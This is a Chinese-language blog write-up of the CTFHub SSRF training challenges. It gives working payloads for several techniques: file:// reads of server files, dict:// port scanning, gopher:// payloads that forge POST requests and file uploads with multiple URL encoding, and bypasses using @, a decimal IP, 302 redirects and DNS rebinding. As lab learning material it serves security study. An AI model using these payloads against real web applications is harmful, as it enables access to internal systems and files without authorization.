ssrf学习(ctfhub靶场)

ssrf练习

目录

ssrf漏洞

漏洞形成原理(来自网络)

寻找ssrf漏洞,

靶场题目

第一题(url探测网站下文件)

第二关(使用伪协议)

关于http和file协议的理解

file协议

http协议

第三关(端口扫描)

第四关(post请求)

第五关(文件上传)

第八关(URL Bypass)

第九关(数字IP Bypass)

第十关(302跳转 Bypass)

第十一关(DNS重绑定 Bypass)


ssrf漏洞
漏洞形成原理(来自网络)

很多网站提供了从其他的服务器上获取数据的功能。通过指定的URL,网站可以从其他地方获取图片、下载文件、读取文件内容等。SSRF的实质就是利用存在缺陷的Web站点作为代理攻击远程和本地的服务器。

SSRF漏洞形成的原因大都是由于服务端提供了从其他服务器获取数据的功能但没有对目标地址做过滤与限制。攻击者可以利用改漏洞获取内部系统的一些信息(因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内网系统)。

寻找ssrf漏洞,

在看usrl解析绕过看到这篇文章记录一下SSRF漏洞:URL绕过方法以及原理案例详细讲解 - FreeBuf网络安全行业门户

我们通常可以在获取远程资源的应用程序中找到SSRF漏洞。在寻找SSRF漏洞时,我们应该寻找:

  • HTTP请求重定向、URL跳转处理业务逻辑
  • 文件导入转换等,如HTML、PDF、图像等。
  • 远程服务器连接来获取数据
  • 有关提供给外部链接进行业务处理的功能

靶场题目

第一题(url探测网站下文件)

非常的简单,ok呀,有30分钟,不着急,这一关的目的应该是通过url跳转到内网服务器上的127.0.0.1/flag,没有做任何限制,导致可以直接读取到内网的文件

/?url=http://127.0.0.1/flag.php

?url这个意思应该是参数可控,导致可以跳转到别的界面

题目让我们访问内网的http://127.0.0.1/flag.php

开头也是直接给出来了啊,非常的不错,没有什么难度

第二关(使用伪协议)

Apache2的默认目录在:/var/www/html,也就是网站的默认目录

让我想一想,这一关和上一关有什么不同的地方,上一关是直接读取内网的127.0.0.1/flag.php文件,那这一关为什么不可以呢?

我尝试用http协议,发现并不能访问到这个文件

用file协议就可以获取,当然也可以写成/?url=http:///var/www/html/flag.php,/应该是表示本地的IP地址的意思

关于http和file协议的理解

file协议主要是读取本地的文件,是不对外开放的

http协议是对外开放的,在搭建的网站下的目录

file协议

本地系统的文件

http协议

,例如读取到pikachu下的文件(靶场的本地网站)

第三关(端口扫描)

这一关需要使用dict伪协议了,具体是什么我也不知道啊

在网上找的

Dict协议查看端口,版本信息;向服务器端口请求curl命令

来靶场给的提示

开局一个IP地址啊,非常的人性化,

那我们直接加上dict协议,再打开我们的bp开始爆破

添加payload位置

payload选数值,8000-9000

爆破到8839号时,发现长度不一样,但是里面却没有flag,怎么回事,后来发现需要使用http协议去访问这个网站,嗯?那我一开始使用http协议不好吗?反正就是看那个长度是不是一样的,

它的目的是啥,就是判断这个端口是否开放吗,那我用http协议不也是可以看这个端口是不是开放的,那不就是打得开就是开放的,

诶好像不是这样的,如果是22号端口(ssh)话,用http协议是不能判断是不是开放的,如果22号端口开放的话就可以爆破了,真聪明。好了,用http协议直接查看这个端口吧

http协议查看端口,就是这个网站的内容咯,ok啊,主页就是flag

第四关(post请求)

ok呀,开局先看wp,不然我不会写,不就是浪费我50个金币了,哎,之前金币一下就用光了,这下给省着点了,这道题好像有点麻烦,呜呜呜,以下内容参考ctfhub之ssrf练习

先理清下思路,意思是在file:///var/www/html/flag.php找到获取flag的方法,用post请求发送一个key值,给谁,给靶场地址的/flag.php,并且是从本地127.0.0.1发送的。

编码几次的问题,在别的评论区找的,虽然不是很懂,但是感觉是对的,大家可以试试。

先分析一下,首先利用file协议进入file:///var/www/html/index.php意思是先看他的网站主页源码吧然后再就没了,然后我们再看file:///var/www/html/flag.php代码的意思是让我们用post方法提交一个key值,然后它就给我们返回一个flag找到key了。把key放到之前的post界面。
问题就在这里,虽然我们可以完成要求了,但是必须要在flag.php中进行这个post请求。一旦我们直接进入flag.php,就会提示从127.0.0.1访问(从服务器端发起请求)。也就是说,flag.php只能看不能摸。这里就是gopher出场的时候了。然后再由于curl支持gopher协议,所以这里是利用curl进行进行post请求起码你必须包含以下要素POST /flag.php HTTP/1.1
Host: 127.0.0.1:80
Content-Type: application/x-www-form-urlencoded
Content-Length: 36
key=1e91e9e5b8b3cfe84f5442b9739553c6解释几个可能存在的疑问:
1.为什么这里并没有使用curl,直接从网页上发起请求就可以了?
因为index.php本身就有curl_exec(),在截取url之后的参数后本来就能够完成操作了。2.burp suite修改参数直接post行不行?
不行,虽然能够更改包参数,但是我们无法做到从服务器发起请求3.为什么需要两次编码?
这是因为在浏览器的地址栏进行get传参时,浏览器会自动进行一次UrlDecode()的解码。但是这里curl就需要url编码的东西,所以需要编两次

参考CTFHub技能树 Web-SSRF POST请求_ctfhub 知识树 post-CSDN博客

注:在第一次编码后的数据中,将%0A全部替换为%0D%0A。
因为 Gopher协议包含的请求数据包中,可能包含有=、&等特殊字符,
避免与服务器解析传入的参数键值对混淆,所以对数据包进行 URL编码,
这样服务端会把%后的字节当做普通字节。

gopher协议格式及利用条件(看到这就是有个下划线的)

Gopher协议格式:URL:gopher://<host>:<port>/<gopher-path>_后接TCP数据流 ==》正因为这个本质,所以他可以用来发起GET、POST的http请求。

好了,开靶场了,寄,什么提示也没有,这是让我盲猜吗,是要根据前几关来做出判断吗

好了,根据前几关,我学了http协议、file协议,

先看一下http://127.0.0.1/index.php和http://127.0.0.1/index.php这里面有什么吧,前几关也是这样的,ok呀,找到了一个key值

在从网站下的目录找一下吧file://127.0.0.1/var/www/html/flag.php这里的代码没来的及截图

其实就是让我用post提交一个key值且ip地址为127.0.0.1,如果正确就返回flag

然后编码,替换我自己的key值

_POST%20/flag.php%20HTTP/1.1%0d%0AHost:127.0.0.1%0d%0AContent-Type:application/x-www-form-urlencoded%0d%0AContent-Length:36%0d%0A%0d%0Akey=d2c25785320f2cf34b3fcc8eb9e66c92%0d%0a

在编码

gopher://127.0.0.1:80/_POST%2520/flag.php%2520HTTP/1.1%250d%250AHost:127.0.0.1%250d%250AContent-Type:application/x-www-form-urlencoded%250d%250AContent-Length:36%250d%250A%250d%250Akey=d2c25785320f2cf34b3fcc8eb9e66c92%250d%250a

把编码的值放到框框里,这个框框应该是用post方法提交的,试着试着好像错了,我就在url上提交了,        

靶场时间不够了,我还续费了10分钟,其实我是把别人的payload复制过来了,改成了我自己的key值

再分析一下,需要gopher协议,换行符需要是%0D%0A,别问为啥,我也不晓得

content-length这里需要换两行(换一行行不行我也没有试过)

但是我自己去编码的时候空格会编码成加号,/会编码成%2f,但是别的文章没有,还有就是POST前面为什么会出现下划线,如果去掉会怎么样,不想再开一次靶场了,看看有没有别的靶场要不要金币

我知道了为啥会加下划线了,因为那个是gopher的语句,他的格式就是这样的

gopher协议格式:gopher://IP:port/_{TCP/IP数据流}    

第五关(文件上传)

ok啊,正好上关还没搞明白,看了一眼教程,发现和上一关一样要编码,ok先让我准备一下

先理清下思路,意思是让我们从本地上传一个图片,给谁,也是给http://challenge-377f1ad968bfe801.sandbox.ctfhub.com:10800/flag.php,用post方法,并且是用本地服务器发出去的,那就是让服务器自己去请求咯,就能得到flag

试过了,用这个编码工具才能成功,用了另一个没成功CTF在线工具-在线URL编码|URL解码 (hiencode.com)

这个方法要编码三次次,key换成自己的,第一次的%0A换成%OD%0A,然后我先用网上的url编码,编码三次次
不行在换ctf工具里的url编码工具,但是我觉得一个不是编码的问题,至于编码几次,在哪篇博客看到过,我忘记了少了个提交按钮,直接加上
<input type="submit" name="submit">图片上传代码
POST http://challenge-377f1ad968bfe801.sandbox.ctfhub.com:10800/flag.php HTTP/1.1
Host: challenge-377f1ad968bfe801.sandbox.ctfhub.com:10800
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Content-Type: multipart/form-data; boundary=---------------------------330768969129738900803122801082
Content-Length: 351
Origin: http://challenge-377f1ad968bfe801.sandbox.ctfhub.com:10800
Connection: close
Referer: http://challenge-377f1ad968bfe801.sandbox.ctfhub.com:10800/?url=file:///var/www/html/flag.php
Upgrade-Insecure-Requests: 1
Priority: u=0, i
Pragma: no-cache
Cache-Control: no-cache-----------------------------330768969129738900803122801082
Content-Disposition: form-data; name="file"; filename="w.txt"
Content-Type: text/plain1111111111
-----------------------------330768969129738900803122801082
Content-Disposition: form-data; name="submit"鎻愪氦鏌ヨ
-----------------------------330768969129738900803122801082--gopher格式
?url=http://127.0.0.1:80/index.php?url=gopher://127.0.0.1:80/_编码一次
POST%20http%3A//challenge-377f1ad968bfe801.sandbox.ctfhub.com%3A10800/flag.php%20HTTP/1.1%0d%0aHost%3A%20challenge-377f1ad968bfe801.sandbox.ctfhub.com%3A10800%0d%0aUser-Agent%3A%20Mozilla/5.0%20%28Windows%20NT%2010.0%3B%20Win64%3B%20x64%3B%20rv%3A131.0%29%20Gecko/20100101%20Firefox/131.0%0d%0aAccept%3A%20text/html%2Capplication/xhtml%2Bxml%2Capplication/xml%3Bq%3D0.9%2Cimage/avif%2Cimage/webp%2Cimage/png%2Cimage/svg%2Bxml%2C%2A/%2A%3Bq%3D0.8%0d%0aAccept-Language%3A%20zh-CN%2Czh%3Bq%3D0.8%2Czh-TW%3Bq%3D0.7%2Czh-HK%3Bq%3D0.5%2Cen-US%3Bq%3D0.3%2Cen%3Bq%3D0.2%0d%0aAccept-Encoding%3A%20gzip%2C%20deflate%2C%20br%0d%0aContent-Type%3A%20multipart/form-data%3B%20boundary%3D---------------------------330768969129738900803122801082%0d%0aContent-Length%3A%20351%0d%0aOrigin%3A%20http%3A//challenge-377f1ad968bfe801.sandbox.ctfhub.com%3A10800%0d%0aConnection%3A%20close%0d%0aReferer%3A%20http%3A//challenge-377f1ad968bfe801.sandbox.ctfhub.com%3A10800/%3Furl%3Dfile%3A///var/www/html/flag.php%0d%0aUpgrade-Insecure-Requests%3A%201%0d%0aPriority%3A%20u%3D0%2C%20i%0d%0aPragma%3A%20no-cache%0d%0aCache-Control%3A%20no-cache%0d%0a%0d%0a-----------------------------330768969129738900803122801082%0d%0aContent-Disposition%3A%20form-data%3B%20name%3D%22file%22%3B%20filename%3D%22w.txt%22%0d%0aContent-Type%3A%20text/plain%0d%0a%0d%0a1111111111%0d%0a-----------------------------330768969129738900803122801082%0d%0aContent-Disposition%3A%20form-data%3B%20name%3D%22submit%22%0d%0a%0d%0a%E9%8E%BB%E6%84%AA%E6%B0%A6%E9%8F%8C%E3%83%A8%EE%87%97%0d%0a-----------------------------330768969129738900803122801082--编码二次
POST%2520http%253A//challenge-377f1ad968bfe801.sandbox.ctfhub.com%253A10800/flag.php%2520HTTP/1.1%250d%250aHost%253A%2520challenge-377f1ad968bfe801.sandbox.ctfhub.com%253A10800%250d%250aUser-Agent%253A%2520Mozilla/5.0%2520%2528Windows%2520NT%252010.0%253B%2520Win64%253B%2520x64%253B%2520rv%253A131.0%2529%2520Gecko/20100101%2520Firefox/131.0%250d%250aAccept%253A%2520text/html%252Capplication/xhtml%252Bxml%252Capplication/xml%253Bq%253D0.9%252Cimage/avif%252Cimage/webp%252Cimage/png%252Cimage/svg%252Bxml%252C%252A/%252A%253Bq%253D0.8%250d%250aAccept-Language%253A%2520zh-CN%252Czh%253Bq%253D0.8%252Czh-TW%253Bq%253D0.7%252Czh-HK%253Bq%253D0.5%252Cen-US%253Bq%253D0.3%252Cen%253Bq%253D0.2%250d%250aAccept-Encoding%253A%2520gzip%252C%2520deflate%252C%2520br%250d%250aContent-Type%253A%2520multipart/form-data%253B%2520boundary%253D---------------------------330768969129738900803122801082%250d%250aContent-Length%253A%2520351%250d%250aOrigin%253A%2520http%253A//challenge-377f1ad968bfe801.sandbox.ctfhub.com%253A10800%250d%250aConnection%253A%2520close%250d%250aReferer%253A%2520http%253A//challenge-377f1ad968bfe801.sandbox.ctfhub.com%253A10800/%253Furl%253Dfile%253A///var/www/html/flag.php%250d%250aUpgrade-Insecure-Requests%253A%25201%250d%250aPriority%253A%2520u%253D0%252C%2520i%250d%250aPragma%253A%2520no-cache%250d%250aCache-Control%253A%2520no-cache%250d%250a%250d%250a-----------------------------330768969129738900803122801082%250d%250aContent-Disposition%253A%2520form-data%253B%2520name%253D%2522file%2522%253B%2520filename%253D%2522w.txt%2522%250d%250aContent-Type%253A%2520text/plain%250d%250a%250d%250a1111111111%250d%250a-----------------------------330768969129738900803122801082%250d%250aContent-Disposition%253A%2520form-data%253B%2520name%253D%2522submit%2522%250d%250a%250d%250a%25E9%258E%25BB%25E6%2584%25AA%25E6%25B0%25A6%25E9%258F%258C%25E3%2583%25A8%25EE%2587%2597%250d%250a-----------------------------330768969129738900803122801082--编码三次
POST%252520http%25253A//challenge-377f1ad968bfe801.sandbox.ctfhub.com%25253A10800/flag.php%252520HTTP/1.1%25250d%25250aHost%25253A%252520challenge-377f1ad968bfe801.sandbox.ctfhub.com%25253A10800%25250d%25250aUser-Agent%25253A%252520Mozilla/5.0%252520%252528Windows%252520NT%25252010.0%25253B%252520Win64%25253B%252520x64%25253B%252520rv%25253A131.0%252529%252520Gecko/20100101%252520Firefox/131.0%25250d%25250aAccept%25253A%252520text/html%25252Capplication/xhtml%25252Bxml%25252Capplication/xml%25253Bq%25253D0.9%25252Cimage/avif%25252Cimage/webp%25252Cimage/png%25252Cimage/svg%25252Bxml%25252C%25252A/%25252A%25253Bq%25253D0.8%25250d%25250aAccept-Language%25253A%252520zh-CN%25252Czh%25253Bq%25253D0.8%25252Czh-TW%25253Bq%25253D0.7%25252Czh-HK%25253Bq%25253D0.5%25252Cen-US%25253Bq%25253D0.3%25252Cen%25253Bq%25253D0.2%25250d%25250aAccept-Encoding%25253A%252520gzip%25252C%252520deflate%25252C%252520br%25250d%25250aContent-Type%25253A%252520multipart/form-data%25253B%252520boundary%25253D---------------------------330768969129738900803122801082%25250d%25250aContent-Length%25253A%252520351%25250d%25250aOrigin%25253A%252520http%25253A//challenge-377f1ad968bfe801.sandbox.ctfhub.com%25253A10800%25250d%25250aConnection%25253A%252520close%25250d%25250aReferer%25253A%252520http%25253A//challenge-377f1ad968bfe801.sandbox.ctfhub.com%25253A10800/%25253Furl%25253Dfile%25253A///var/www/html/flag.php%25250d%25250aUpgrade-Insecure-Requests%25253A%2525201%25250d%25250aPriority%25253A%252520u%25253D0%25252C%252520i%25250d%25250aPragma%25253A%252520no-cache%25250d%25250aCache-Control%25253A%252520no-cache%25250d%25250a%25250d%25250a-----------------------------330768969129738900803122801082%25250d%25250aContent-Disposition%25253A%252520form-data%25253B%252520name%25253D%252522file%252522%25253B%252520filename%25253D%252522w.txt%252522%25250d%25250aContent-Type%25253A%252520text/plain%25250d%25250a%25250d%25250a1111111111%25250d%25250a-----------------------------330768969129738900803122801082%25250d%25250aContent-Disposition%25253A%252520form-data%25253B%252520name%25253D%252522submit%252522%25250d%25250a%25250d%25250a%2525E9%25258E%2525BB%2525E6%252584%2525AA%2525E6%2525B0%2525A6%2525E9%25258F%25258C%2525E3%252583%2525A8%2525EE%252587%252597%25250d%25250a-----------------------------330768969129738900803122801082--得到flag
ctfhub{f2ad826c5980005510b47597}

var/www/html/flag.php的代码<?phperror_reporting(0);if($_SERVER["REMOTE_ADDR"] != "127.0.0.1"){echo "Just View From 127.0.0.1";return;
}if(isset($_FILES["file"]) && $_FILES["file"]["size"] > 0){echo getenv("CTFHUB");exit;
}
?>Upload Webshell<form action="/flag.php" method="post" enctype="multipart/form-data"><input type="file" name="file">
</form>

第八关(URL Bypass)

题目是请求的URL中必须包含http://notfound.ctfhub.com,ok啊,题目也没看懂,

考点是不更改原来要跳转的目的地址,绕过目的地址来执行新的地址(@绕过)

看了下答案,题目的意思是让我们访问内网127.0.0.1/flag.php,但是url中又必须包含另一个地址,这样的用意是什么呢,看了别的题目,说这题考察的是ssrf中的url解析问题

涉及到知识盲区了,

新知识关于SSRF中URL解析的相关知识。参考这篇URL绕过方法以及原理案例详细讲解

看了一圈,大概说的是题目本来是要请求这个地址,

http://challenge-377f1ad968bfe801.sandbox.ctfhub.com:10800/?url=http://notfound.ctfhub.com

就是说本来我们可以直接把目标地址改成内网地址去访问的

http://challenge-377f1ad968bfe801.sandbox.ctfhub.com:10800/?url=http://127.0.0.1/flag.php

,但是他做了限制,url必须要有这个地址,所以就是想让我们绕过做了防护的ssrf,那就是前面是没做防护,这一关就是做了一点简单的防护,防护级别就是比较低的级别,那么绕过方式也就有好多种,我就用@绕过了

不知道我用短域名为什么不行http://u5a.cn/U8cdB就是127.0.0.1,在浏览器能解析

http://challenge-864f4514a7d6dda2.sandbox.ctfhub.com:10800/?url=http://notfound.ctfhub.com

正确代码

http://challenge-864f4514a7d6dda2.sandbox.ctfhub.com:10800/?url=http://notfound.ctfhub.com@127.0.0.1/flag.php

还可以这样写@0.0.0.0/flag.php也可以得到flag.php

第九关(数字IP Bypass)

题目开头,这次ban掉了127以及172.不能使用点分十进制的IP了。但是又要访问127.0.0.1。该怎么办呢

搬掉127我还能理解,你搬掉172干啥,点分十进制又是什么

点分十进制就是用4组从0~255的数字,来表示一个IP地址。如192.168.1.1。

那我不还可以用10进制吗,还能用16进制,能用短域名吧

我好像知道什么了,题目已经告诉我了,搬掉了/127172@\./这些关键字了

但是我短域名也没有包含这些吧,好像把点过滤了        

把127.0.0.1换成10进制可以,localhost可以,暂时试出来这两种 

http://challenge-c7acb99f0abdafad.sandbox.ctfhub.com:10800/?url=2130706433/flag.php

第十关(302跳转 Bypass)

参考CTFHub技能树 Web-SSRF 302跳转

题目如下,SSRF中有个很重要的一点是请求可能会跟随302跳转,尝试利用这个来绕过对IP的检测访问到位于127.0.0.1的flag.php吧

考点应该是利用短域名跳转到127.0.0.1/flag.php,我没做出来

ok啊,刚开始也是没看懂题目,翻了下答案,就是说要用302跳转的方式来获取ip地址,也就是说,要使用短域名来跳转到127.0.0.1这个ip。怎么来写,我之前都是这样写的,难怪错了,之前先把http:/127.0.0.1/生成为短网址,然后再后面加上个flag.php文件,哎

应该是直接将http://127.0.0.1/flag.php生成为短网址,别人这样写对了,我写没对

但是我生成的短网址却不行

我就只能用?url=http://localhost/flag/php获取flag,看到别人解法好像是10进制也可以

第十一关(DNS重绑定 Bypass)

题目也是留了一句dns重绑定就没有了呀,ok还得直接找资料,还是不直接翻答案了,哈哈

[DNS安全] 详解DNS重绑定攻击-CSDN博客

有点复杂,dns重绑定,没有那么快消化完,但是只是做题的话还是很快的,我好像知道我之前为什么这么菜了,因为东西总是学到一半就去学其他的东西了,明明这个还没学会

ok先说一下原理,就是他会解析域名,然后看ip地址是不是恶意的(这个不知道他是什么原理),然后ttl值非常小,然后会再解析一遍域名,但是他已经信任了这个域名(因为第一次解析过了),但是解析的这个ip地址是恶意的ok啊这篇讲的详细

我在CTFHub学习SSRF - FreeBuf网络安全行业门户

大概就是有一个rbndr.us dns rebinding service这个网站,他解析的话,会随机解析,会有两种解析可能,有可能解析到第一个ip地址,有可能解析的是第二个地址,因此我们试了一次可能不会成功,但是他的ttl值很短,第二次解析可能就是合法地址,他就会认为这个域名是安全的,要多解析几次可能才会成功,另外一个地址可以填外网,我看其他网站填的127.0.0.2好像也可以。

但是我有个疑问了,既然第一次如果解析的是非法的ip地址,他会不会将这个域名也认定为非法的域名,从而使之后的解析到这个域名的时候就被拦截了,但是从这个题目来说的话,他好像并不会将域名拉入非法域名。

是真的,第一次没成功,试了几次没成功,然后试了好多次成功了,后面一直都会成功了,因为已经认定域名为合法域名了

参考文章

SSRF漏洞原理解析[通俗易懂]-腾讯云开发者社区-腾讯云 (tencent.com)

Ubuntu 18.04 Apache2默认网站目录和默认网站主页修改_改变apache2的目录默认样式-CSDN博客

http协议与file协议_浏览器file协议-CSDN博客

服务器端请求伪造--SSRF - FreeBuf网络安全行业门户

SSRF - ctfhub - 1【内网访问、伪协议读取、端口扫描、POST详解、上传文件】_ssrf用bp扫描的协议-CSDN博客

【网络安全 | HTTP】 gopher协议原理、语法及利用总结-阿里云开发者社区 (aliyun.com)

Gopher协议原理和限制介绍——Gopher协议支持发出GET、POST请求(类似协议转换):可以先截获get请求包和post请求包,在构成符合gopher协议的请求 - bonelee - 博客园 (cnblogs.com)

这个讲的很详细8、9、10关的

[WEB安全]绕过URL跳转限制的思路 - 肖洋肖恩、 - 博客园 (cnblogs.com)

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/443967.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

猫头虎分享已解决Bug || Error: ERESOLVE unable to resolve dependency tree 解决方案

&#x1f42f; 猫头虎分享已解决Bug || Error: ERESOLVE unable to resolve dependency tree 解决方案 摘要 在前端开发中&#xff0c;尤其是使用 Node.js 和 npm 管理依赖时&#xff0c;ERESOLVE unable to resolve dependency tree 错误是很多开发者遇到的常见问题。这个 Bu…

jQuery 用户登录页面非空校验与登录测试

文章目录 实战介绍准备工作创建网页导入样式表和jQuery库编写页面代码编写脚本代码创建成功页面浏览网页和测试结束语 实战介绍 大家好&#xff0c;今天我们将一起学习如何使用jQuery来为用户登录页面进行非空校验和登录测试。通过这个实战项目&#xff0c;你将学会如何通过jQ…

新版 Notepad++ 下载与安装教程

一、软件准备&#xff1a;麻烦点我 二、双击下载好的 notepad 软件进行安装&#xff0c;选择 “简体中文”。 三、默认 “下一步” 安装。 四、单击 “我接受” 按钮。 五、自定义安装位置&#xff0c;个人建议安装在 D 盘。 六、选择组件&#xff0c;默认 “下一步”。 七、勾…

使用Diskgenius系统迁移

使用Diskgenius系统迁移 1、使用系统迁移2、注意点3、新备份的系统盘装在电脑上可能出现盘符错乱导致开机不进入桌面情况 1、使用系统迁移 参考视频&#xff1a; DiskGenius无损系统迁移&#xff0c;换硬盘无需重装系统和软件 2、注意点 1&#xff09;新的硬盘里面的所有资料…

第十八篇:一文说清楚ICMP的底层原理

作为程序员或者网络工程师&#xff0c;有时候无法访问对方主机&#xff1b;导致这个现象的有很多原因&#xff0c;那要排查具体的网络原因&#xff0c;可能会用到ping的指令。而ping的底层实现是互联⽹控制报⽂协议&#xff08;ICMP&#xff09;。 ICMP 全称是 Internet Contr…

前端_002_CSS扫盲

文章目录 概念选择器常用属性背景边框高度和宽度颜色文本字体链接表格里对齐显示相关溢出&#xff0c;滚动条属性 伪类和伪元素 概念 1.书写格式&#xff1a; 选择器{ 属性名:属性值 ; 属性名:属性值 ; } 2.文件后缀.css 选择器 元素选择器 [tag] id选择器 #[id_name] c…

直线导轨在自动化设备中需要注意什么?

直线导轨属于精密传动配件&#xff0c;因而在使用时要求有相当地慎重态度&#xff0c;如果使用不当&#xff0c;也不能达到预期的性能效果&#xff0c;尤其是保管和保养不当&#xff0c;很容易造成导轨失效等问题&#xff0c;导致无法正常使用。因此&#xff0c;自动化设备中使…

string 类

一、为什么学习 string 类 1、C语言中的字符串 C语言中&#xff0c;字符串是以\0结尾的一些字符的集合&#xff0c;为了操作方便&#xff0c;C标准库中提供了一些str系列 的库函数&#xff0c;但是这些库函数与字符串是分离开的&#xff0c;不太符合OOP的思想&#xff0c;而且底…

3-GPIO八大输出模式 推挽输出 与 开漏输出

推挽输出 与 开漏输出 GPIO有八大输出模式 下图为每个GPIO口的基本结构&#xff1a; 通过这张图来学习 最右侧是I/O引脚&#xff0c;是从STM32引脚到GPIO口的导线&#xff0c;与其他芯片进行连接的线。 芯片内部电路所能承受的电压有限&#xff0c;当未知的静电进入GPIO口&a…

DBMS-3.3 SQL(3)——DML的INSERT、UPDATE、DELETE空值的处理DCL

本文章的素材与知识来自李国良老师和王珊老师。 DML——INSERT、UPDATE、DELETE 一. INSERT 1.语法 &#xff08;1&#xff09;INTO子句 &#xff08;2&#xff09;VALUES子句 &#xff08;3&#xff09;示例 2.插入子查询 若插入的是子查询则不需要VALUES子句 二. UPDATE …

一款电子产品图册转换器

​随着科技的不断发展&#xff0c;电子产品已经成为我们生活中不可或缺的一部分。无论是手机、平板电脑还是智能家居&#xff0c;它们都离不开电子图册的支撑。一款优秀的电子产品图册转换器&#xff0c;可以帮助我们轻松实现电子图册的转换&#xff0c;为我们的生活和工作带来…

还在为Python“运算符”中遇到的BUG而发愁吗?,变量相关的问题和解决办法看这篇文章就够了!

博客主页&#xff1a;长风清留扬-CSDN博客系列专栏&#xff1a;Python疑难杂症百科-BUG编年史每天更新大数据相关方面的技术&#xff0c;分享自己的实战工作经验和学习总结&#xff0c;尽量帮助大家解决更多问题和学习更多新知识&#xff0c;欢迎评论区分享自己的看法感谢大家点…

[SAP ABAP] LIKE TABLE OF

LIKE TABLE OF语句是用来参照结构体(工作区)对象定义内表数据类型的语句 在SAP ABAP中有标准表&#xff0c;排序表和哈希表三种内表数据类型 *定义标准表 DATA: <ty_tab_standard_name> LIKE [STANDARD] TABLE OF <dtype> [WITH NON-UNIQUE KEY <k1 k2 ... kn…

移动app的UI和接口自动化测试怎么进行?

标题&#xff1a;从0到1&#xff1a;移动App的UI和接口自动化测试 导语&#xff1a;移动App的快速发展使得UI和接口自动化测试成为了确保应用质量的重要环节。本文将从零开始介绍移动App的UI和接口自动化测试的基本概念以及如何进行测试。 第一部分&#xff1a;了解移动App自动…

MSYS2+GCC 安装与应用保姆手册

msys2 提供可在Windows下使用 GCC 编译器&#xff1b;并且&#xff0c;借助 Linux 包管理功能&#xff0c;可轻松下载丰富的可在Windows下直接使用的 C/C 开发包&#xff0c;包括编译好的二进制包。 网络库asio、准标准库boost、zip解压缩、json格式处理、引擎 SDL……十八般兵…

i春秋云境靶场之CVE-2022-26965

1.环境搭建 提示我们后台存在rce,也就是命令执行漏洞 2.访问环境 cm - cmshttp://eci-2zeh0yf0ohu88wr26unq.cloudeci1.ichunqiu.com/ 我们可看到admin,我们点击&#xff0c;发现是一个登录页面&#xff0c;我们输入弱口令admin,登录成功 3.文件上传 我们在选项——选择主题…

构造器和UML类图

1.构造器 1.1 详解 类的成员&#xff1a;构造器 构造器的作用 初始化对象&#xff1a;构造器用于设置对象的初始值&#xff0c;确保对象在创建时是有效的。提供灵活性&#xff1a;可以重载构造器&#xff0c;以便在创建对象时提供不同数量或类型的参数&#xff0c;从而支持…

[CR]厚云填补_条件扩散模型用于SAR到光学图像转换

Conditional Diffusion for SAR to Optical Image Translation Abstract 合成孔径雷达(SAR)提供全天候、全天高分辨率成像&#xff0c;但其独特的成像机制往往需要专家解释&#xff0c;限制了其广泛的适用性。为了应对这一挑战&#xff0c;提出了一个生成模型&#xff0c;该模型…

如何制作低代码开发的视频教程?

如何制作低代码开发的视频教程&#xff1f; 随着数字化转型的加速&#xff0c;越来越多的企业和组织开始采用低代码开发平台来加速应用程序的构建。对于许多开发者和业务人员来说&#xff0c;学习如何使用这些平台可以显著提高工作效率。因此&#xff0c;创建一份清晰、实用且…

JavaScript进阶--作用域-函数进阶

Javascript进阶 作用域 分类 局部 函数 >执行完变量被清空块 >用{}包住 >有可能被无法访问 【用var声明的变量】 全局 > 在script标签和.js文件最外层进行声明 作用域链 最底层的变量查找机制 > 在函数被执行时&#xff0c;会优先查找当前函数作用域中查找…